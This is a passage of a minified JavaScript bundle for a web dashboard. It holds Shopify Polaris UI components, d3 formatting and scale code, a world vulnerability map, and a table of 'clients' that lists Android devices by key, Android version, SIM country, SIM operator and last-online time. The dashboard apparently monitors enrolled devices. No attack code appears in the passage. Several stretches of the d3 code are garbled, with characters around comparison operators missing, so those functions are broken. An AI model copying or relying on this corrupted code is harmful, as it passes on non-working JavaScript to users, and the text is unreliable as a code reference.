5A.997.997 0 0 1 8 16z"})))};!function(e){e.Input="INPUT",e.Textarea="TEXTAREA",e.Select="SELECT",e.ContentEditable="contenteditable"}(cp||(cp={}));var pp="Polaris-Tooltip-TooltipOverlay",hp="Polaris-Tooltip-TooltipOverlay--measuring",mp="Polaris-Tooltip-TooltipOverlay--positionedAbove",vp="Polaris-Tooltip-TooltipOverlay__Content";function gp(e){var t=e.active,n=e.activator,a=e.preferredPosition,o=void 0===a?"below":a,i=e.preventInteraction,l=e.id,s=e.children,u=e.accessibilityLabel,c=jt();return t?r.createElement(Or,{active:t,activator:n,preferredPosition:o,preventInteraction:i,render:function(e){var t=e.measuring,n=e.desiredHeight,a=e.positioning,o=Xe(pp,t&&hp,"above"===a&&mp),i=t?void 0:{minHeight:n};return r.createElement("div",Object.assign({className:o},N.props),r.createElement("div",{id:l,role:"tooltip",className:vp,style:i,"aria-label":u?c.translate("Polaris.TooltipOverlay.accessibilityLabel",{label:u}):void 0},s))}}):null}function bp(e){var t=e.children,n=e.content,a=e.dismissOnMouseOut,o=e.active,i=e.preferredPosition,l=void 0===i?"below":i,s=e.activatorWrapper,u=void 0===s?"span":s,c=e.accessibilityLabel,d=u,f=rt(Boolean(o)),p=f.value,h=f.setTrue,m=f.setFalse,v=ne((0,r.useState)(null),2),g=v[0],b=v[1],y=qe("TooltipContent"),w=(0,r.useRef)(null),x=(0,r.useRef)(!1);(0,r.useEffect)((function(){var e=(w.current?Nn(w.current):null)||w.current;e&&(e.tabIndex=0,e.setAttribute("aria-describedby",y),e.setAttribute("data-polaris-tooltip-activator","true"))}),[y,t]);var E=(0,r.useCallback)((function(e){e.keyCode===Hn.Escape&&m()}),[m]),S=g?r.createElement(Rn,{idPrefix:"tooltip"},r.createElement(gp,{id:y,preferredPosition:l,activator:g,active:p,accessibilityLabel:c,onClose:yp,preventInteraction:a},n)):null;return r.createElement(d,{onFocus:h,onBlur:m,onMouseLeave:function(){x.current=!1,m()},onMouseOver:function(){!x.current&&(x.current=!0,h())},onClick:wp,ref:function(e){var t=w;if(null==e)return t.current=null,void b(null);e.firstElementChild instanceof HTMLElement&&b(e.firstElementChild),t.current=e},onKeyUp:E},t,S)}function yp(){}function wp(e){e.stopPropagation()}function xp(e){var t=e.hasNext,n=e.hasPrevious,a=e.nextURL,o=e.previousURL,i=e.onNext,l=e.onPrevious,s=e.nextTooltip,u=e.previousTooltip,c=e.nextKeys,d=e.previousKeys,f=e.accessibilityLabel,p=e.accessibilityLabels,h=e.label,m=jt(),v=(0,r.createRef)(),g=f||m.translate("Polaris.Pagination.pagination"),b=(null===p||void 0===p?void 0:p.previous)||m.translate("Polaris.Pagination.previous"),y=(null===p||void 0===p?void 0:p.next)||m.translate("Polaris.Pagination.next"),w=r.createElement(Ma,{outline:!0,icon:dp,accessibilityLabel:b,url:o,onClick:l,disabled:!n,id:"previousURL"}),x=u&&n?r.createElement(bp,{activatorWrapper:"span",content:u},w):w,E=r.createElement(Ma,{outline:!0,icon:fp,accessibilityLabel:y,url:a,onClick:i,disabled:!t,id:"nextURL"}),S=s&&t?r.createElement(bp,{activatorWrapper:"span",content:s},E):E,k=l||kp,_=d&&(o||l)&&n&&d.map((function(e){return r.createElement(cr,{key:e,keyCode:e,handler:Sp(o?Ep("previousURL",v):k)})})),C=i||kp,P=c&&(a||i)&&t&&c.map((function(e){return r.createElement(cr,{key:e,keyCode:e,handler:Sp(a?Ep("nextURL",v):C)})})),N=t&&n?r.createElement(Sa,null,h):r.createElement(Sa,{variation:"subdued"},h),T=h?r.createElement("div",{"aria-live":"polite"},N):null;return r.createElement("nav",{"aria-label":g,ref:v},_,P,r.createElement(tl,{segmented:!h},x,T,S))}function Ep(e,t){return function(){if(null!=t.current){var n=t.current.querySelector("#".concat(e));n&&n.click()}}}function Sp(e){return function(){(function(){if(null==document||null==document.activeElement)return!1;var e=document.activeElement.tagName;return e===cp.Input||e===cp.Textarea||e===cp.Select||document.activeElement.hasAttribute(cp.ContentEditable)})()||e()}}function kp(){}var _p="Polaris-Header-Title",Cp="Polaris-Header-Title__SubTitle",Pp="Polaris-Header-Title__SubtitleCompact",Np="Polaris-Header-Title--hasThumbnail",Tp="Polaris-Header-Title__TitleAndSubtitleWrapper",Ap="Polaris-Header-Title__TitleWithMetadataWrapper",Mp="Polaris-Header-Title__TitleMetadata";function Lp(e){var t=e.title,n=e.subtitle,a=e.titleMetadata,o=e.thumbnail,i=e.compactTitle;var l=t?r.createElement("h1",{className:_p},t):null,s=a?r.createElement("div",{className:Mp},a):null,u=a?r.createElement("div",{className:Ap},l,s):l,c=n?r.createElement("div",{className:Xe(Cp,i&&Pp)},r.createElement("p",null,n)):null,d=o?r.createElement("div",null,o):null,f=o?Np:void 0;return r.createElement("div",{className:f},d,r.createElement("div",{className:Tp},u,c))}var Op={ActionMenu:"Polaris-ActionMenu"},Fp="Polaris-ActionMenu-RollupActions__RollupActivator";function Ip(e){var t=e.accessibilityLabel,n=e.items,a=void 0===n?[]:n,o=e.sections,i=void 0===o?[]:o,l=jt(),s=rt(!1),u=s.value,c=s.toggle;if(0===a.length&&0===i.length)return null;var d=r.createElement("div",{className:Fp},r.createElement(Ma,{outline:!0,icon:_o,accessibilityLabel:t||l.translate("Polaris.ActionMenu.RollupActions.rollupButton"),onClick:c}));return r.createElement(zr,{active:u,activator:d,preferredAlignment:"right",onClose:c,hideOnPrint:!0},r.createElement(Pa,{items:a,sections:i,onActionAnyItem:c}))}var jp="Polaris-ActionMenu-Actions__ActionsLayout",Rp="Polaris-ActionMenu-MenuGroup__Details",Bp="Polaris-ActionMenu-SecondaryAction",Dp=["children","onAction","getOffsetWidth"];function Hp(e){var t=e.children,n=e.onAction,a=e.getOffsetWidth,o=u(e,Dp),i=(0,r.useRef)(null);return(0,r.useEffect)((function(){var e;a&&i.current&&a(null===(e=i.current)||void 0===e?void 0:e.offsetWidth)}),[a]),r.createElement("span",{className:Bp,ref:i},r.createElement(Ma,Object.assign({onClick:n},o),t))}function zp(e){var t=e.accessibilityLabel,n=e.active,a=e.actions,o=e.details,i=e.title,l=e.icon,s=e.onClose,u=e.onOpen,c=e.getOffsetWidth,d=(0,r.useCallback)((function(){s(i)}),[s,i]),f=(0,r.useCallback)((function(){u(i)}),[u,i]),p=(0,r.useCallback)((function(e){c&&c(e)}),[c]),h=r.createElement(Hp,{disclosure:!0,icon:l,accessibilityLabel:t,onClick:f,getOffsetWidth:p},i);return r.createElement(zr,{active:Boolean(n),activator:h,preferredAlignment:"left",onClose:d,hideOnPrint:!0},r.createElement(Pa,{items:a,onActionAnyItem:d}),o&&r.createElement("div",{className:Rp},o))}var Up=["content","onAction"],Wp=["title","actions"];function Vp(e){var t=e.actions,n=void 0===t?[]:t,a=e.groups,o=void 0===a?[]:a,i=jt(),l=(0,r.useRef)(null),s=(0,r.useRef)(0),c=(0,r.useRef)(0),d=(0,r.useRef)(0),f=(0,r.useRef)(0),p=(0,r.useRef)([]),h=ne((0,r.useState)(void 0),2),m=h[0],v=h[1],g=ne((0,r.useState)({showable:[],rolledUp:[]}),2),b=g[0],y=g[1],w={title:i.translate("Polaris.ActionMenu.Actions.moreActions"),actions:[]},x=te(o).pop(),S=te(p.current).pop()||0,k=(0,r.useCallback)((function(e){p.current=[].concat(te(p.current),[e])}),[]),_=(0,r.useCallback)((function(e){return v(m?void 0:e)}),[m]),C=(0,r.useCallback)((function(){return v(void 0)}),[]),P=(0,r.useCallback)((function(){var e=[].concat(te(n),te(o));o.length>0&&(e=te(e).slice(0,e.length-1));var t=e.slice(0,b.showable.length),r=e.slice(b.showable.length,e.length);y({showable:t,rolledUp:r})}),[n,o,b.showable.length]),N=(0,r.useCallback)((function(){if(0!==p.current.length&&0!==c.current){var e=[].concat(te(n),te(o));if(1!==e.length){var t=c.current,r=[],a=[];e.forEach((function(e,n){if(p.current[n]+s.current+8+S<=t)t-=p.current[n]+16,r=[].concat(te(r),[e]);else{if(t=0,e===x)return;a=[].concat(te(a),[e])}})),y({showable:r,rolledUp:a}),f.current+=1,d.current=e.length}else y({showable:e,rolledUp:[]})}}),[n,o,x,S]),T=(0,r.useMemo)((function(){return E()((function(){l.current&&(c.current=l.current.offsetWidth,f.current=0,N())}),50,{leading:!1,trailing:!0})}),[N]);(0,r.useEffect)((function(){l.current&&(c.current=l.current.offsetWidth,f.current>=2&&[].concat(te(n),te(o)).length===d.current?P():N())}),[n,o,N,P]);var A=n.map((function(e){if(b.showable.length>0||b.rolledUp.includes(e))return null;var t=e.content,n=e.onAction,a=u(e,Up);return r.createElement(Hp,Object.assign({key:t,onClick:n},a,{getOffsetWidth:k}),t)})),M=b.showable.length>0?b.showable.map((function(e){return e.content&&r.createElement(Hp,Object.assign({key:e.content},e,{getOffsetWidth:k}),e.content)})):null,L=[].concat(te(o),[w]).filter((function(e){return 0===o.length?e:e===x||!b.rolledUp.some((function(t){return qp(t)&&t.title===e.title}))})).map((function(e){var t=e.title,n=e.actions,a=u(e,Wp),i=e===w,l=e===x,s=b.rolledUp.reduce((function(e,t){return e.push.apply(e,te(qp(t)?t.actions:[t])),e}),[]);return i||l?!i&&l?r.createElement(zp,Object.assign({key:t,title:t,active:t===m,actions:[].concat(te(s),te(n))},a,{onOpen:_,onClose:C,getOffsetWidth:k})):i&&0===o.length&&s.length?r.createElement(zp,Object.assign({key:t,title:t,active:t===m,actions:s},a,{onOpen:_,onClose:C,getOffsetWidth:k})):void 0:r.createElement(zp,Object.assign({key:t,title:t,active:t===m,actions:n},a,{onOpen:_,onClose:C,getOffsetWidth:k}))})),O=r.createElement(tl,{spacing:"extraTight"},M,A,L);return r.createElement("div",{className:jp,ref:l},O,r.createElement(Te,{event:"resize",handler:T}))}function qp(e){return"title"in e}function Zp(e){var t=e.actions,n=void 0===t?[]:t,a=e.groups,o=void 0===a?[]:a,i=e.rollup,l=e.rollupActionsLabel;if(0===n.length&&0===o.length)return null;var s=Xe(Op.ActionMenu,i&&Op.rollup),u=o.map((function(e){return function(e){var t=e.title,n=e.actions;return{title:t,items:n}}(e)}));return r.createElement("div",{className:s},i?r.createElement(Ip,{accessibilityLabel:l,items:n,sections:u}):r.createElement(Vp,{actions:n,groups:o}))}function Kp(e){var t=e.title,n=e.subtitle,a=e.titleMetadata,o=e.additionalMetadata,i=e.thumbnail,l=e.titleHidden,s=void 0!==l&&l,u=e.primaryAction,c=e.pagination,d=e.additionalNavigation,f=e.breadcrumbs,p=void 0===f?[]:f,h=e.secondaryActions,m=void 0===h?[]:h,v=e.actionGroups,g=void 0===v?[]:v,b=e.compactTitle,y=void 0!==b&&b,w=jt(),x=Lo().isNavigationCollapsed,E=!u&&!c&&!m.length&&!g.length,S=p.length>0?r.createElement("div",{className:qf},r.createElement(sp,{breadcrumbs:p})):null,k=c&&!x?r.createElement("div",{className:Zf},r.createElement(xp,c)):null,_=d?r.createElement("div",{className:Kf},d):null,C=S||k||_?r.createElement("div",{className:Uf},S,_,k):null,P=r.createElement("div",{className:zf},r.createElement(Lp,{title:t,subtitle:n,titleMetadata:a,thumbnail:i,compactTitle:y})),N=u?r.createElement(Gp,{primaryAction:u}):null,T=m.length>0||function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return 0!==e.length&&e.some((function(e){return e.actions.length>0}))}(g)?r.createElement(Zp,{actions:m,groups:g,rollup:x,rollupActionsLabel:t?w.translate("Polaris.Page.Header.rollupActionsLabel",{title:t}):void 0}):null,A=o?r.createElement("div",{className:ep},r.createElement(Sa,{variation:"subdued"},o)):null,M=Xe(Df,E&&ap,s&&Hf,C&&Gf,T&&Wf,x&&Vf,!p.length&&Jf,t&&t.length<34&&rp,t&&t.length>34&&np),L=function(e){var t=e.actionMenuMarkup,n=e.additionalMetadataMarkup,a=e.additionalNavigationMarkup,o=e.breadcrumbMarkup,i=e.isNavigationCollapsed,l=e.pageTitleMarkup,s=e.paginationMarkup,u=e.primaryActionMarkup,c=e.title,d={mobileCompact:{slots:{slot1:null,slot2:l,slot3:t,slot4:u,slot5:n,slot6:a},condition:i&&null==o&&null!=c&&c.length<=8},mobileDefault:{slots:{slot1:o,slot2:l,slot3:t,slot4:u,slot5:n,slot6:a},condition:i},desktopCompact:{slots:{slot1:o,slot2:l,slot3:t,slot4:u,slot5:n,slot6:a},condition:!i&&null==s&&null==t&&null!=c&&c.length<=20},desktopDefault:{slots:{slot1:o,slot2:l,slot3:r.createElement(r.Fragment,null,t,u),slot4:s,slot5:n,slot6:a},condition:!i}};return(Object.values(d).find((function(e){return e.condition}))||d.desktopDefault).slots}({actionMenuMarkup:T,additionalMetadataMarkup:A,additionalNavigationMarkup:_,breadcrumbMarkup:S,isNavigationCollapsed:x,pageTitleMarkup:P,paginationMarkup:k,primaryActionMarkup:N,title:t}),O=L.slot1,F=L.slot2,I=L.slot3,j=L.slot4,R=L.slot5,B=L.slot6;return r.createElement("div",{className:M},r.createElement(qn,{condition:[O,F,I,j].some($p)},r.createElement("div",{className:Yf},O,F,r.createElement(qn,{condition:[I,j].some($p)},r.createElement("div",{className:Qf},r.createElement(Vn,{condition:[I,j].every($p),wrapper:function(e){return r.createElement("div",{className:tp},e)}},I,j))))),r.createElement(qn,{condition:[R,B].some($p)},r.createElement("div",{className:Yf},r.createElement("div",{className:Xf},R),r.createElement(qn,{condition:null!=B},r.createElement("div",{className:Qf},B)))))}function Gp(e){var t,n=e.primaryAction,a=Lo().isNavigationCollapsed,o=n;if(t=n,!(0,r.isValidElement)(t)&&void 0!==t){var i=void 0===n.primary||n.primary;o=Qi(function(e,t){var n=t.content,r=t.accessibilityLabel,a=t.icon;if(null==a)return l(l({},t),{},{icon:void 0});e?(r=r||n,n=void 0):a=void 0;return l(l({},t),{},{content:n,accessibilityLabel:r,icon:a})}(a,n),{primary:i})}return r.createElement("div",{className:$f},o)}function $p(e){return null!=e}var Yp=["children","fullWidth","narrowWidth","divider"];function Qp(e){var t=e.children,n=e.fullWidth,a=e.narrowWidth,o=e.divider,i=u(e,Yp),l=Xe(Ff,n&&If,a&&jf),s=null!=i.title&&""!==i.title||null!=i.primaryAction||null!=i.secondaryActions&&i.secondaryActions.length>0||null!=i.actionGroups&&i.actionGroups.length>0||null!=i.breadcrumbs&&i.breadcrumbs.length>0,c=Xe(Rf,o&&s&&Bf),d=s?r.createElement(Kp,i):null;return r.createElement("div",{className:l},d,r.createElement("div",{className:c},t))}var Xp="Polaris-Layout",Jp="Polaris-Layout__Section",eh="Polaris-Layout__Section--secondary",th="Polaris-Layout__Section--fullWidth",nh="Polaris-Layout__Section--oneHalf",rh="Polaris-Layout__Section--oneThird",ah="Polaris-Layout__AnnotatedSection",oh="Polaris-Layout__AnnotationWrapper",ih="Polaris-Layout__AnnotationContent",lh="Polaris-Layout__Annotation",sh="Polaris-Layout__AnnotationDescription";function uh(e){var t=e.children,n=e.secondary,a=e.fullWidth,o=e.oneHalf,i=e.oneThird,l=Xe(Jp,n&&eh,a&&th,o&&nh,i&&rh);return r.createElement("div",{className:l},t)}var ch=function(e){var t=e.sectioned,n=e.children,a=t?r.createElement(uh,null,n):n;return r.createElement("div",{className:Xp},a)};ch.AnnotatedSection=function(e){var t=e.children,n=e.title,a=e.description,o=e.id,i="string"===typeof a?r.createElement("p",null,a):a;return r.createElement("div",{className:ah},r.createElement("div",{className:oh},r.createElement("div",{className:lh},r.createElement(Zr,null,r.createElement($r,{id:o},n),i&&r.createElement("div",{className:sh},i))),r.createElement("div",{className:ih},t)))},ch.Section=uh;var dh=n.p+"static/media/Cyberattack-cuate.a120d44c86141a29d90b578255e3ea3a.svg",fh={},ph={};function hh(e){return new Function("d","return {"+e.map((function(e,t){return JSON.stringify(e)+": d["+t+'] || ""'})).join(",")+"}")}function mh(e){var t=Object.create(null),n=[];return e.forEach((function(e){for(var r in e)r in t||n.push(t[r]=r)})),n}function vh(e,t){var n=e+"",r=n.length;return r9999?"+"+vh(t,6):vh(t,4))+"-"+vh(e.getUTCMonth()+1,2)+"-"+vh(e.getUTCDate(),2)+(o?"T"+vh(n,2)+":"+vh(r,2)+":"+vh(a,2)+"."+vh(o,3)+"Z":a?"T"+vh(n,2)+":"+vh(r,2)+":"+vh(a,2)+"Z":r||n?"T"+vh(n,2)+":"+vh(r,2)+"Z":"")}function bh(e){var t=new RegExp('["'+e+"\n\r]"),n=e.charCodeAt(0);function r(e,t){var r,a=[],o=e.length,i=0,l=0,s=o<=0,u=!1;function c(){if(s)return ph;if(u)return u=!1,fh;var t,r,a=i;if(34===e.charCodeAt(a)){for(;i++=o?s=!0:10===(r=e.charCodeAt(i++))?u=!0:13===r&&(u=!0,10===e.charCodeAt(i)&&++i),e.slice(a+1,t-1).replace(/""/g,'"')}for(;i=0?(o>=Ph?10:o>=Nh?5:o>=Th?2:1)*Math.pow(10,a):-Math.pow(10,-a)/(o>=Ph?10:o>=Nh?5:o>=Th?2:1)}function Mh(e,t){return et?1:e>=t?0:NaN}function Lh(e){var t=e,n=e;function r(e,t,r,a){for(null==r&&(r=0),null==a&&(a=e.length);r>>1;n(e[o],t)<0?r=o+1:a=o}return r}return 1===e.length&&(t=function(t,n){return e(t)-n},n=function(e){return function(t,n){return Mh(e(t),n)}}(e)),{left:r,center:function(e,n,a,o){null==a&&(a=0),null==o&&(o=e.length);var i=r(e,n,a,o-1);return i>a&&t(e[i-1],n)>-t(e[i],n)?i-1:i},right:function(e,t,r,a){for(null==r&&(r=0),null==a&&(a=e.length);r>>1;n(e[o],t)>0?a=o:r=o+1}return r}}}var Oh=Lh(Mh),Fh=Oh.right,Ih=(Oh.left,Lh((function(e){return null===e?NaN:+e})).center,Fh),jh=n(2168),Rh=n(4922);function Bh(e,t){var n,r=t?t.length:0,a=e?Math.min(r,e.length):0,o=new Array(a),i=new Array(r);for(n=0;nt&&(n=e,e=t,t=n),function(n){return Math.max(e,Math.min(t,n))}}(i[0],i[e-1])),r=e>2?Xh:Qh,a=o=null,d}function d(t){return null==t||isNaN(t=+t)?n:(a||(a=r(i.map(e),l,s)))(e(u(t)))}return d.invert=function(n){return u(t((o||(o=r(l,i.map(e),Hh.Z)))(n)))},d.domain=function(e){return arguments.length?(i=Array.from(e,Kh),c()):i.slice()},d.range=function(e){return arguments.length?(l=Array.from(e),c()):l.slice()},d.rangeRound=function(e){return l=Array.from(e),s=Zh,c()},d.clamp=function(e){return arguments.length?(u=!!e||$h,c()):u!==$h},d.interpolate=function(e){return arguments.length?(s=e,c()):s},d.unknown=function(e){return arguments.length?(n=e,d):n},function(n,r){return e=n,t=r,c()}}function tm(){return em()($h,$h)}function nm(e,t){switch(arguments.length){case 0:break;case 1:this.range(e);break;default:this.range(t).domain(e)}return this}var rm,am=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function om(e){if(!(t=am.exec(e)))throw new Error("invalid format: "+e);var t;return new im({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}function im(e){this.fill=void 0===e.fill?" ":e.fill+"",this.align=void 0===e.align?">":e.align+"",this.sign=void 0===e.sign?"-":e.sign+"",this.symbol=void 0===e.symbol?"":e.symbol+"",this.zero=!!e.zero,this.width=void 0===e.width?void 0:+e.width,this.comma=!!e.comma,this.precision=void 0===e.precision?void 0:+e.precision,this.trim=!!e.trim,this.type=void 0===e.type?"":e.type+""}function lm(e,t){if((n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"))<0)return null;var n,r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function sm(e){return(e=lm(Math.abs(e)))?e[1]:NaN}function um(e,t){var n=lm(e,t);if(!n)return e+"";var r=n[0],a=n[1];return a<0?"0."+new Array(-a).join("0")+r:r.length>a+1?r.slice(0,a+1)+"."+r.slice(a+1):r+new Array(a-r.length+2).join("0")}om.prototype=im.prototype,im.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(void 0===this.width?"":Math.max(1,0|this.width))+(this.comma?",":"")+(void 0===this.precision?"":"."+Math.max(0,0|this.precision))+(this.trim?"~":"")+this.type};var cm={"%":function(e,t){return(100*e).toFixed(t)},b:function(e){return Math.round(e).toString(2)},c:function(e){return e+""},d:function(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)},e:function(e,t){return e.toExponential(t)},f:function(e,t){return e.toFixed(t)},g:function(e,t){return e.toPrecision(t)},o:function(e){return Math.round(e).toString(8)},p:function(e,t){return um(100*e,t)},r:um,s:function(e,t){var n=lm(e,t);if(!n)return e+"";var r=n[0],a=n[1],o=a-(rm=3*Math.max(-8,Math.min(8,Math.floor(a/3))))+1,i=r.length;return o===i?r:o>i?r+new Array(o-i+1).join("0"):o>0?r.slice(0,o)+"."+r.slice(o):"0."+new Array(1-o).join("0")+lm(e,Math.max(0,t+o-1))[0]},X:function(e){return Math.round(e).toString(16).toUpperCase()},x:function(e){return Math.round(e).toString(16)}};function dm(e){return e}var fm,pm,hm,mm=Array.prototype.map,vm=["y","z","a","f","p","n","\xb5","m","","k","M","G","T","P","E","Z","Y"];function gm(e){var t,n,r=void 0===e.grouping||void 0===e.thousands?dm:(t=mm.call(e.grouping,Number),n=e.thousands+"",function(e,r){for(var a=e.length,o=[],i=0,l=t[0],s=0;a>0&&l>0&&(s+l+1>r&&(l=Math.max(1,r-s)),o.push(e.substring(a-=l,a+l)),!((s+=l+1)>r));)l=t[i=(i+1)%t.length];return o.reverse().join(n)}),a=void 0===e.currency?"":e.currency[0]+"",o=void 0===e.currency?"":e.currency[1]+"",i=void 0===e.decimal?".":e.decimal+"",l=void 0===e.numerals?dm:function(e){return function(t){return t.replace(/[0-9]/g,(function(t){return e[+t]}))}}(mm.call(e.numerals,String)),s=void 0===e.percent?"%":e.percent+"",u=void 0===e.minus?"\u2212":e.minus+"",c=void 0===e.nan?"NaN":e.nan+"";function d(e){var t=(e=om(e)).fill,n=e.align,d=e.sign,f=e.symbol,p=e.zero,h=e.width,m=e.comma,v=e.precision,g=e.trim,b=e.type;"n"===b?(m=!0,b="g"):cm[b]||(void 0===v&&(v=12),g=!0,b="g"),(p||"0"===t&&"="===n)&&(p=!0,t="0",n="=");var y="$"===f?a:"#"===f&&/[boxX]/.test(b)?"0"+b.toLowerCase():"",w="$"===f?o:/[%p]/.test(b)?s:"",x=cm[b],E=/[defgprs%]/.test(b);function S(e){var a,o,s,f=y,S=w;if("c"===b)S=x(e)+S,e="";else{var k=(e=+e)<0||1/e<0;if(e=isNaN(e)?c:x(Math.abs(e),v),g&&(e=function(e){e:for(var t,n=e.length,r=1,a=-1;r0&&(a=0)}return a>0?e.slice(0,a)+e.slice(t+1):e}(e)),k&&0===+e&&"+"!==d&&(k=!1),f=(k?"("===d?d:u:"-"===d||"("===d?"":d)+f,S=("s"===b?vm[8+rm/3]:"")+S+(k&&"("===d?")":""),E)for(a=-1,o=e.length;++a(s=e.charCodeAt(a))||s>57){S=(46===s?i+e.slice(a+1):e.slice(a))+S,e=e.slice(0,a);break}}m&&!p&&(e=r(e,1/0));var _=f.length+e.length+S.length,C=_>1)+f+e+S+C.slice(_);break;default:e=C+f+e+S}return l(e)}return v=void 0===v?6:/[gprs]/.test(b)?Math.max(1,Math.min(21,v)):Math.max(0,Math.min(20,v)),S.toString=function(){return e+""},S}return{format:d,formatPrefix:function(e,t){var n=d(((e=om(e)).type="f",e)),r=3*Math.max(-8,Math.min(8,Math.floor(sm(t)/3))),a=Math.pow(10,-r),o=vm[8+r/3];return function(e){return n(a*e)+o}}}}function bm(e,t,n,r){var a,o=function(e,t,n){var r=Math.abs(t-e)/Math.max(0,n),a=Math.pow(10,Math.floor(Math.log(r)/Math.LN10)),o=r/a;return o>=Ph?a*=10:o>=Nh?a*=5:o>=Th&&(a*=2),t0)return[e];if((r=t0){var s=Math.round(e/i),u=Math.round(t/i);for(s*it&&--u,o=new Array(a=u-s+1);++lt&&--d,o=new Array(a=d-c+1);++l0;){if((a=Ah(s,u,n))===r)return o[i]=s,o[l]=u,t(o);if(a>0)s=Math.floor(s/a)*a,u=Math.ceil(u/a)*a;else{if(!(a<0))break;s=Math.ceil(s*a)/a,u=Math.floor(u*a)/a}r=a}return e},e}fm=gm({thousands:",",grouping:[3],currency:["$",""]}),pm=fm.format,hm=fm.formatPrefix;var wm=n(9025),xm=function e(){var t=tm();return t.copy=function(){return Jh(t,e())},nm.apply(t,arguments),ym(t)}().domain([.29,.68]).range(["#ffedea","#008d6a"]),Em=function(){var e=ne((0,r.useState)([]),2),t=e[0],n=e[1];return(0,r.useEffect)((function(){Ch("/v4/vulnerability.csv").then((function(e){n(e)}))}),[]),(0,oc.jsxs)(wm.ComposableMap,{projectionConfig:{rotate:[-10,0,0],scale:147},children:[(0,oc.jsx)(wm.Sphere,{stroke:"#00000",strokeWidth:.5}),(0,oc.jsx)(wm.Graticule,{stroke:"#00000",strokeWidth:.5}),t.length>0&&(0,oc.jsx)(wm.Geographies,{geography:"https://raw.githubusercontent.com/zcreativelabs/react-simple-maps/master/topojson-maps/world-110m.json",children:function(e){return e.geographies.map((function(e){var n=t.find((function(t){return t.ISO3===e.properties.ISO_A3}));return(0,oc.jsx)(wm.Geography,{geography:e,fill:n?xm(n[2017]):"#F5F4F6"},e.rsmKey)}))}})]})},Sm=function(e){var t,n=e.client,a=e.isloading,i=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{selectedResources:[],allResourcesSelected:!1,resourceIDResolver:Qc},n=t.selectedResources,a=void 0===n?[]:n,o=t.allResourcesSelected,i=void 0!==o&&o,l=t.resourceIDResolver,s=void 0===l?Qc:l,u=ne((0,r.useState)(a),2),c=u[0],d=u[1],f=ne((0,r.useState)(i),2),p=f[0],h=f[1],m=(0,r.useCallback)((function(t,n,r){switch(t===Yc.All?h(n):p&&h(!1),t){case Yc.Single:d((function(e){return n?[].concat(te(e),[r]):e.filter((function(e){return e!==r}))}));break;case Yc.All:case Yc.Page:d(n?e.map(s):[]);break;case Yc.Multi:if(!r)break;d((function(t){for(var a=[],o=r[0];o<=r[1];o++){var i=s(e[o]);(n&&!t.includes(i)||!n&&t.includes(i))&&a.push(i)}return n?[].concat(te(t),a):t.filter((function(e){return!a.includes(e)}))}))}}),[p,e,s]);return{selectedResources:c,allResourcesSelected:p,handleSelectionChange:m}}(n),l=i.selectedResources,s=i.allResourcesSelected,u=i.handleSelectionChange,c=(0,oc.jsx)(Jc,{title:"No clients yet",description:"Add a client to get started",withIllustration:!0}),d=n.map((function(e,t){var n=e.key,r=e.device_name,a=e.android_version,o=e.sim_country,i=e.sim_operator,s=e.last_online;return(0,oc.jsxs)(mf.Row,{id:n,selected:l.includes(n),position:t,children:[(0,oc.jsx)(mf.Cell,{children:(0,oc.jsx)(Sa,{variation:"strong",children:n})}),(0,oc.jsx)(mf.Cell,{children:r}),(0,oc.jsx)(mf.Cell,{children:a}),(0,oc.jsx)(mf.Cell,{children:o}),(0,oc.jsx)(mf.Cell,{children:i}),(0,oc.jsx)(mf.Cell,{children:s})]},n)}));return(0,oc.jsx)(Mf,{children:(0,oc.jsx)(mf,(t={resourceName:{singular:"client",plural:"client"},itemCount:n.length,emptyState:c,selectedItemsCount:s?"All":l.length,onSelectionChange:u,headings:[{title:"key"},{title:"Device name"},{title:"Android version"},{title:"Country"},{title:"Sim operator"},{title:"Last online"}],selectable:!1,hasMoreItems:!1,condensed:!1},(0,o.Z)(t,"hasMoreItems",!0),(0,o.Z)(t,"loading",a),(0,o.Z)(t,"children",d),t))})},km=function(){var e=ne((0,r.useState)([]),2),t=e[0],n=e[1],a=ne((0,r.useState)(!0),2),o=a[0],i=a[1],l=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,iu().get("/client/").then((function(e){n(e.data.clients)}));case 2:i(!1);case 3:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return(0,r.useEffect)((function(){var e=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,l();case 2:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();e()}),[]),(0,oc.jsxs)(Qp,{fullWidth:!0,children:[(0,oc.jsx)($r,{children:"Overview"}),(0,oc.jsxs)(ch,{children:[(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)("img",{width:"70%",src:dh})}),(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)(Em,{})})]}),(0,oc.jsx)(Sm,{client:t,isloading:o})]})},_m="Polaris-Select",Cm="Polaris-Select--disabled",Pm="Polaris-Select__Content",Nm="Polaris-Select__InlineLabel",Tm="Polaris-Select__Icon",Am="Polaris-Select__Backdrop",Mm="Polaris-Select__SelectedOption",Lm="Polaris-Select__Prefix",Om="Polaris-Select__Input",Fm="Polaris-Select--error",Im=["value","label","prefix"],jm="";function Rm(e){var t=e.options,n=e.label,a=e.labelAction,o=e.labelHidden,i=e.labelInline,l=e.disabled,s=e.helpText,u=e.placeholder,c=e.id,d=e.name,f=e.value,p=void 0===f?jm:f,h=e.error,m=e.onChange,v=e.onFocus,g=e.onBlur,b=e.requiredIndicator,y=qe("Select",c),w=!!i||o,x=Xe(_m,h&&Fm,l&&Cm),E=m?function(e){return m(e.currentTarget.value,y)}:void 0,S=[];s&&S.push(Hl(y)),h&&S.push("".concat(y,"Error"));var k=(t||[]).map(zm);u&&(k=[{label:u,value:jm,disabled:!0}].concat(te(k)));var _=i&&r.createElement("span",{className:Nm},n),C=function(e,t){var 